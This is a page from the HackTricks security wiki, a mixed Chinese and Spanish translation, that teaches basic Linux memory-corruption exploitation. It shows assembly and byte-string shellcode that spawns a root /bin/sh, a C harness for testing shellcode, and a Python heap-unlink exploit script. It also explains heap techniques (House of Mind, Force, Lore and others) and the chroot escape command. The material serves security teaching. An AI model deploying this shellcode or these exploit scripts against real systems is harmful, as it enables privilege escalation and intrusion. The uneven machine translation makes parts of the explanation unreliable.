hacktricks/exploiting/linux-exploiting-basic-esp
2024-04-02 19:47:00 +00:00
..
rop-leaking-libc-address Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
bypassing-canary-and-pie.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
format-strings-template.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
fusion.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
README.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-04-02 19:47:00 +00:00
ret2lib.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
rop-syscall-execv.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00

Linux Exploiting (Basic) (SPA)

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

2.SHELLCODE

View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; clear eax
xor ebx, ebx ; ebx = 0 as there are no arguments to pass
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Execute syscall

nasm -f elf assembly.asm —> Returns a .o file
ld assembly.o -o shellcodeout —> Generates an executable with the assembly code and we can extract the opcodes with objdump
objdump -d -Mintel ./shellcodeout —> To verify that it is indeed our shellcode and extract the OpCodes

Verify that the shellcode works

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

为了确保系统调用被正确执行,应编译前一个程序并在strace ./COMPILADO_程序中查看系统调用。

在创建shellcode时可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码并将EIP放入堆栈。在call指令之后我们已经放入了所需的字符串因此可以使用该EIP指向字符串并继续执行代码。

TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

使用堆栈(/bin/sh)的简单ESP

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Hunter:

这是一小段代码用于遍历与进程关联的内存页面以寻找其中存储的shellcode查找shellcode中的某个签名。在只有少量空间用于注入代码的情况下非常有用。

多态Shellcode

这些是加密的shellcode其中包含一小段代码用于解密并跳转到它使用Call-Pop技巧这是一个凯撒加密的示例

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5.补充方法

Murat技术

在Linux中所有程序都从0xbfffffff开始映射。

通过查看Linux中新进程堆栈的构建方式可以开发一种利用程序在仅包含shellcode变量的环境中启动的漏洞。因此可以计算出其地址为addr = 0xbfffffff - 4 - strlen(完整可执行文件名称) - strlen(shellcode)

这样就可以轻松地获得包含shellcode的环境变量的地址。

这是因为execle函数允许创建仅包含所需环境变量的环境。

格式化字符串到缓冲区溢出

sprintf将格式化字符串移动到变量中。因此,您可以滥用字符串的格式以导致将内容复制到的变量中发生缓冲区溢出。
例如,有效载荷%.44xAAAA将在变量中写入44B+"AAAA",这可能会导致缓冲区溢出。

__atexit结构

{% hint style="danger" %} 现在很少利用此方法。 {% endhint %}

atexit()是一个函数,其参数是其他函数。这些函数将在执行**exit()main返回时执行。
如果可以
修改其中任何一个函数的地址以指向shellcode那么将控制进程**,但目前这更加复杂。
目前要执行的函数地址隐藏在几个结构后面,最终指向的地址不是函数地址,而是使用XOR加密和随机密钥进行偏移。因此,目前这种攻击向量在x86和x64_86上并不是很有用
加密函数是**PTR_MANGLE。其他架构如m68k、mips32、mips64、aarch64、arm、hppa等不实现加密函数,因为它返回**与输入相同的内容。因此,这些架构可以通过此向量受到攻击。

setjmp()和longjmp()

{% hint style="danger" %} 现在很少利用此方法。 {% endhint %}

Setjmp()允许保存上下文(寄存器)
longjmp()允许恢复上下文。
保存的寄存器有:EBX、ESI、EDI、ESP、EIP、EBP
问题在于EIP和ESP通过**PTR_MANGLE函数传递,因此易受攻击的架构与上述相同**。
它们对错误恢复或中断很有用。
但根据我所了解,其他寄存器没有受到保护,因此如果在被调用的函数内部存在call ebxcall esicall edi则可以接管控制。或者还可以修改EBP以修改ESP。

C++中的VTable和VPTR

每个类都有一个Vtable,它是一个指向方法的指针数组

每个的对象都有一个VPtr,它是指向其类数组的指针。VPtr是每个对象头的一部分因此如果实现VPtr覆盖,则可以将其修改为指向虚拟方法以便执行函数时转到shellcode。

预防措施和规避方法

替换Libsafe

使用以下命令激活LD_PRELOAD=/lib/libsafe.so.2

“/lib/libsave.so.2” > /etc/ld.so.preload

通过安全函数拦截对某些不安全函数的调用。这不是标准化的仅适用于x86不适用于使用-fomit-frame-pointer编译不适用于静态编译不是所有易受攻击的函数都变得安全LD_PRELOAD在具有suid权限的二进制文件中无效

ASCII装甲地址空间

将共享库加载到0x00000000至0x00ffffff以便始终存在一个字节0x00。然而这实际上几乎无法阻止任何攻击尤其是在小端系统中。

ret2plt

通过执行ROP调用plt中的strcpy@plt函数并指向GOT的条目将要调用的函数system()的第一个字节复制过来。然后重复此过程指向GOT+1并复制system()的第二个字节... 最后调用保存在GOT中的地址即system()。

使用chroot()创建牢笼

debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统

管理员可以通过执行以下操作来退出这些牢笼mkdir foo; chroot foo; cd ..

代码插桩

Valgrind —> 检查错误
Memcheck
RADReturn Address Defender
Insure++

8 堆溢出:基本利用

已分配块

prev_size |
size | —Header
*mem | 数据

空闲块

prev_size |
size |
*fd | 前向块指针
*bk | 后向块指针 —Header
*mem | 数据

空闲块以双向链表bin的形式存在永远不会有两个相邻的空闲块它们会合并

在“size”中有一些位用于指示前一个块是否正在使用块是否通过mmap()分配块是否属于主要的arena。

释放块时如果相邻块中有任何一个是空闲的则通过unlink()宏将它们合并并将最大的新块传递给frontlink()以将其插入到适当的bin中。

unlink(){
BK = P->bk; —> 新块的BK是之前空闲块的BK
FD = P->fd; —> 新块的FD是之前空闲块的FD
FD->bk = BK; —> 下一个块的BK指向新块
BK->fd = FD; —> 前一个块的FD指向新块
}

因此如果成功修改了P->bk为shellcode的地址并将P->fd修改为GOT或DTORS中条目的地址减去12就可以实现

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

这样在程序退出时将执行shellcode。

此外unlink()的第四条语句会写入一些内容因此shellcode必须进行修复

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> 这将从shellcode的第8个字节开始写入4个字节因此shellcode的第一条指令必须是跳转指令以跳过此内容然后进入一系列nop指令最终执行shellcode的其余部分。

因此,利用程序如下:

在buffer1中插入shellcode以跳转指令开头使其跳转到nop或shellcode的其余部分。

在shellcode之后填充直到达到下一个块的prev_size和size字段。在这些位置上插入0xfffffff0以覆盖prev_size并设置空闲位和“-4”0xfffffffc在size中以便在第三个块检查第二个块是否空闲时实际上转到修改后的prev_size指示第二个块是空闲的-> 这样当free()调查时它将转到第三个块的size但实际上会转到第二个块 - 4并认为第二个块是空闲的。然后调用unlink()。 在调用unlink()时将使用第二块的前几个数据作为P->fd因此将在那里插入要覆盖的地址 - 12因为在FD->bk中将在保存在FD中的地址上加12。然后在该地址中插入第二块中找到的第二个地址我们希望它是shellcode的地址P->bk伪造

from struct import *
import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I", 0xfffffff0) #确保前一个块的空闲位为1
fake_size = pack("<I", 0xfffffffc) #-4使第三块的“size”被认为在4字节之前指向prev_size因为它检查第二块是否空闲
addr_sc = pack("<I", 0x0804a008 + 8) #payload开头加入8字节填充
got_free = pack("<I", 0x08048300 - 12) #free()在plt中的地址-12将被覆盖以第二次调用free时执行shellcode

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #payload以8字节填充开始
payload += prev_size + fake_size + got_free + addr_sc #修改第二块got_free指向我们将保存地址addr_sc + 12的位置
os.system("./8.3.o " + payload)

unset()反向释放wargame

我们控制3个连续的块并按相反顺序释放它们。

在这种情况下:

在块c中放置shellcode

我们使用块a来覆盖块b使得size字段的PREV_INUSE位被禁用以便认为块a是空闲的。

此外在块b的头部覆盖size使其值为-4。

因此程序会认为“a”是空闲的并且在一个bin中因此会调用unlink()来解除绑定。然而由于头部的PREV_SIZE为-4。它会认为“a”块实际上从b+4开始。也就是说它会对从b+4开始的块执行unlink()因此在b+12处将是指针“fd”在b+16处将是指针“bk”。

这样如果在bk中放入shellcode的地址并在fd中放入函数“puts()”-12的地址我们就有了有效载药。

Frontlink技术

当释放某个块时其相邻块均不空闲不会调用unlink()而是直接调用frontlink()。

这是一个有用的漏洞当攻击的malloc从不被释放free())时。

需要:

一个可以通过数据输入函数溢出的缓冲区

与此相邻的一个缓冲区应该被释放并且通过前一个缓冲区的溢出将其头部的fd字段修改

一个要释放的缓冲区其大小大于512但小于前一个缓冲区

在第3步之前声明的一个缓冲区允许覆盖其prev_size

通过这种方式可以无序地覆盖两个malloc并且一个受控制地释放我们可以进行利用。

双重free()漏洞

如果两次使用相同指针调用free()则会有两个bin指向相同地址。

如果要重新使用一个可以轻松分配。如果要使用另一个则将分配相同的空间因此我们将有伪造的“fd”和“bk”指针这些指针是由前一个保留写入的数据。

After free()

重新使用先前释放的指针而没有控制。

8堆溢出高级利用

修改unlink()函数后Unlink()和FrontLink()技术被删除。

The house of mind

只需一次free()调用即可触发任意代码执行。需要找到一个第二块,可以被前一个块溢出并释放。

调用free()会调用public_free(mem),它执行以下操作:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> 返回指向块开头的指针mem-8

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

在[1]中检查size字段的NON_MAIN_ARENA位可以更改以使检查返回true并执行heap_for_ptr()该函数对“mem”进行与操作将最不重要的2.5字节设置为0在我们的情况下从0x0804a000到0x08000000然后访问0x08000000->ar_ptr就像是一个heap_info结构体

因此如果我们可以控制一个块例如在0x0804a000处并且将在0x081002a0处释放一个块我们可以到达0x08100000地址并写入任何内容例如0x0804a000。当释放第二块时heap_for_ptr(ptr)->ar_ptr将返回我们在0x08100000处写入的内容因为它应用于之前看到的and操作从那里提取前4个字节的值ar_ptr

因此调用_int_free(ar_ptr, mem),即**_int_free(0x0804a000, 0x081002a0)*
_int_free(mstate av, Void_t mem){


bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

如前所述我们可以控制av的值因为它是我们在将要释放的块中写入的内容。

正如unsorted_chunks所定义的那样我们知道
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

因此如果在av->bins[2]中写入__DTOR_END__-12的值最后一条指令将在__DTOR_END__中写入第二块的地址。

也就是说在第一块中我们需要在开头多次写入__DTOR_END__-12的地址因为av->bins[2]将从那里获取值。

在第二块地址的最后5个零的位置我们需要写入第一块的地址以便heap_for_ptr()认为ar_ptr位于第一块的开头并从那里获取av->bins[2]的值。 在第二部分中借助第一部分我们用jump 0x0c覆盖了prev_size并用某个值激活了size -> NON_MAIN_ARENA。

接着在第二部分中放入大量的nops最后加入shellcode。

这样就会调用 _int_free(TROZO1, TROZO2)并按照指令将TROZO2的prev_size地址写入__DTOR_END__从而跳转到shellcode。

要应用这种技术需要满足一些额外要求使payload变得更加复杂。

这种技术已不再适用因为几乎应用了与unlink相同的补丁。新指向的位置是否也指向它自己进行比较。

Fastbin

这是The house of mind的一个变种。

我们希望执行以下代码通过_int_free()函数的第一个检查后到达:

fb = &(av->fastbins[fastbin_index(size)] —> 其中fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

这样如果将“fb”设置为GOT中某个函数的地址然后在该地址中放入被覆盖的地址。为此需要确保arena接近dtors的地址。具体来说av->max_fast应该是我们要覆盖的地址。

由于The House of Mind中我们发现我们控制了av的位置。

因此如果在size字段中放入一个值为8 + NON_MAIN_ARENA + PREV_INUSE的大小 -> fastbin_index()将返回fastbins[-1]它将指向av->max_fast。

在这种情况下av->max_fast将被覆盖而不是指向的地址而是被覆盖的位置

此外释放的相邻块的大小必须大于8 -> 因为我们已经说过释放块的大小为8在这个虚假块中我们只需要放入一个大于8的大小由于shellcode将放在释放的块中因此需要在虚假块的size字段之后放入一个跳转到nops的jmp指令

此外这个虚假块的大小必须小于av->system_mem。av->system_mem比这个地址高1848字节。

由于_DTOR_END_中的空值和GOT中的地址很少这些部分的任何地址都不适合被覆盖因此让我们看看如何应用fastbin来攻击堆栈。

另一种攻击方式是将av重定向到堆栈。

如果将size修改为16而不是8则fastbin_index()将返回fastbins[0],我们可以利用这一点来覆盖堆栈。

为此堆栈中不应该有任何canary或奇怪的值实际上我们必须处于这种情况4个空字节 + EBP + RET

需要这4个空字节是因为av将指向这个地址,而av的第一个元素是mutex必须为0。

av->max_fast将是EBP并且将是一个值可用于绕过限制。

av->fastbins[0]将被覆盖为p的地址并且将成为RET从而跳转到shellcode。

此外,在av->system_mem比堆栈位置高1484字节将有足够的垃圾可帮助我们绕过检查。

此外释放的相邻块的大小必须大于8 -> 因为我们已经说过释放块的大小为16在这个虚假块中我们只需要放入一个大于8的大小由于shellcode将放在释放的块中因此需要在虚假块的size字段之后放入一个跳转到nops的jmp指令

The House of Spirit

在这种情况下我们希望有一个指向malloc的指针可以被攻击者修改例如指针位于堆栈上可能在变量溢出下面

因此我们可以使这个指针指向任何地方。然而并非所有位置都是有效的虚假块的大小必须小于av->max_fast并且更具体地等于未来malloc()调用请求的大小加8。因此如果我们知道在这个脆弱指针之后会调用malloc(40)那么虚假块的大小必须等于48。

例如如果程序要求用户输入一个数字我们可以输入48并将可修改的malloc指针指向接下来的4个字节可能属于EBP这样48就会留在后面就像是size头部一样。此外ptr-4+48的地址必须满足几个条件在这种情况下ptr=EBP即 8 < ptr-4+48 < av->system_mem。

如果这些条件满足当调用我们说过的下一个malloc即malloc(40)时它将把EBP的地址分配为地址。如果攻击者还可以控制写入这个malloc的内容可以覆盖EBP和EIP的地址为任意地址。

我认为这是因为这样当调用free()时它会保存指向堆栈EBP的地址指示堆栈中有一个完美大小的新malloc()块,因此将分配该地址。

The House of Force

需要:

  • 溢出到一个允许覆盖wilderness的块
  • 使用用户定义大小调用malloc()
  • 调用malloc()的数据可以由用户定义

首先将wilderness块的大小覆盖为一个非常大的值0xffffffff这样任何足够大的内存请求都将在_int_malloc()中处理,而无需扩展堆。

其次修改av->top使其指向攻击者控制的内存区域如堆栈。在av->top中将放置&EIP - 8。

我们必须覆盖av->top使其指向攻击者控制的内存区域

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim获取当前wilderness块的地址当前av->topremainder正好是该地址加上malloc()请求的字节数。因此,如果&EIP-8在0xbffff224av->top包含0x080c2788则为了使av->top指向$EIP-8以供下一个malloc()使用我们需要在受控malloc中保留的字节数为

0xbffff224 - 0x080c2788 = 3086207644。

这样就保存了修改后的av->top值下一个malloc将指向EIP并且可以被覆盖。

重要的是新wilderness块的大小要大于最后一个malloc()请求的大小。也就是说如果wilderness指向&EIP-8那么大小将正好在堆栈的EBP字段上。

The House of Lore

SmallBin Corruption

释放的块根据大小放入不同的bin中。但在放入之前它们会被保存在unsorted bins中。释放块不会立即放入其bin中而是留在unsorted bins中。然后如果分配新块并且先前释放的块可以满足需求则将其返回但如果分配更大的块则将unsorted bins中的释放块放入适当的bin中。

要达到易受攻击的代码内存请求必须大于av->max_fast通常为72但小于MIN_LARGE_SIZE512。 如果在bin中有一个大小适当的块则在解绑定后返回该块

bck = victim->bk; 指向前一个块,这是我们唯一可以更改的信息。

bin->bk = bck; 倒数第二块变为最后一块如果bck指向堆栈中的下一个已分配块则将其地址分配给此块

bck->fd = bin; 通过使其指向bin来关闭列表

需要:

  • 预留两个malloc以便在第二个malloc被释放并放入其bin后可以对第一个malloc进行溢出即在溢出之前已经分配了一个更大的malloc

  • 攻击者需要控制被攻击者选择的地址的malloc分配

目标是如果我们可以对具有下方已释放块并在其bin中的堆进行溢出我们可以更改其bk指针。如果我们更改其bk指针并且此块成为bin列表的第一个块并被分配则bin将被欺骗并告诉其列表的最后一个块即下一个要提供的块位于我们设置的虚假地址例如堆栈或GOT。因此如果再次分配另一个块并且攻击者对其具有权限则将在所需位置给出一个块并且可以在其中写入。

释放修改后的块后需要预留一个比释放的块更大的块这样修改后的块将离开未排序的bin并将其放入其bin中。

一旦在其bin中就是修改其bk指针的时候通过溢出。这样bin必须等待调用足够多次malloc()以便再次使用修改后的bin并欺骗bin使其相信下一个块位于虚假地址。然后将提供我们感兴趣的块。

为了尽快执行漏洞,理想情况是:预留易受攻击的块,预留将被修改的块,释放此块,预留比将被修改的块更大的块,修改块(漏洞),预留与受攻击块相同大小的块,并预留第二个相同大小的块,这将指向所选地址。

为了保护此攻击使用了典型的检查“不”是虚假块的方法检查bck->fd是否指向victim。也就是说在我们的情况下如果堆栈中指向虚假块的fd指针指向victim。为了绕过此保护攻击者应该能够以某种方式可能通过堆栈在适当的地址上写入victim的地址。这样看起来就像是一个真实的块。

Corrupción LargeBin

需要与之前相同的要求以及更多要求此外预留的块大小必须大于512。

攻击与前一个攻击类似即需要修改bk指针并需要所有这些malloc()调用但还需要修改修改后的块的大小使得size - nb < MINSIZE。

例如将size设置为1552使得1552 - 1544 = 8 < MINSIZE减法不能为负因为unsigned进行比较

此外,已经引入了一个补丁,使其更加复杂。

Heap Spraying

基本上是为堆中尽可能多地预留内存并用以shellcode结尾的nop填充这些内存。此外将0x0c用作填充。因此将尝试跳转到地址0x0c0c0c0c因此如果覆盖了将要调用的任何地址则将跳转到那里。基本上策略是尽可能多地预留内存以查看是否覆盖了任何指针并跳转到0x0c0c0c0c希望那里有nop。

Heap Feng Shui

通过预留和释放来巩固内存,使得在空闲块之间留下已预留的块。要溢出的缓冲区将位于其中一个块中。

有趣的课程

参考资料

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式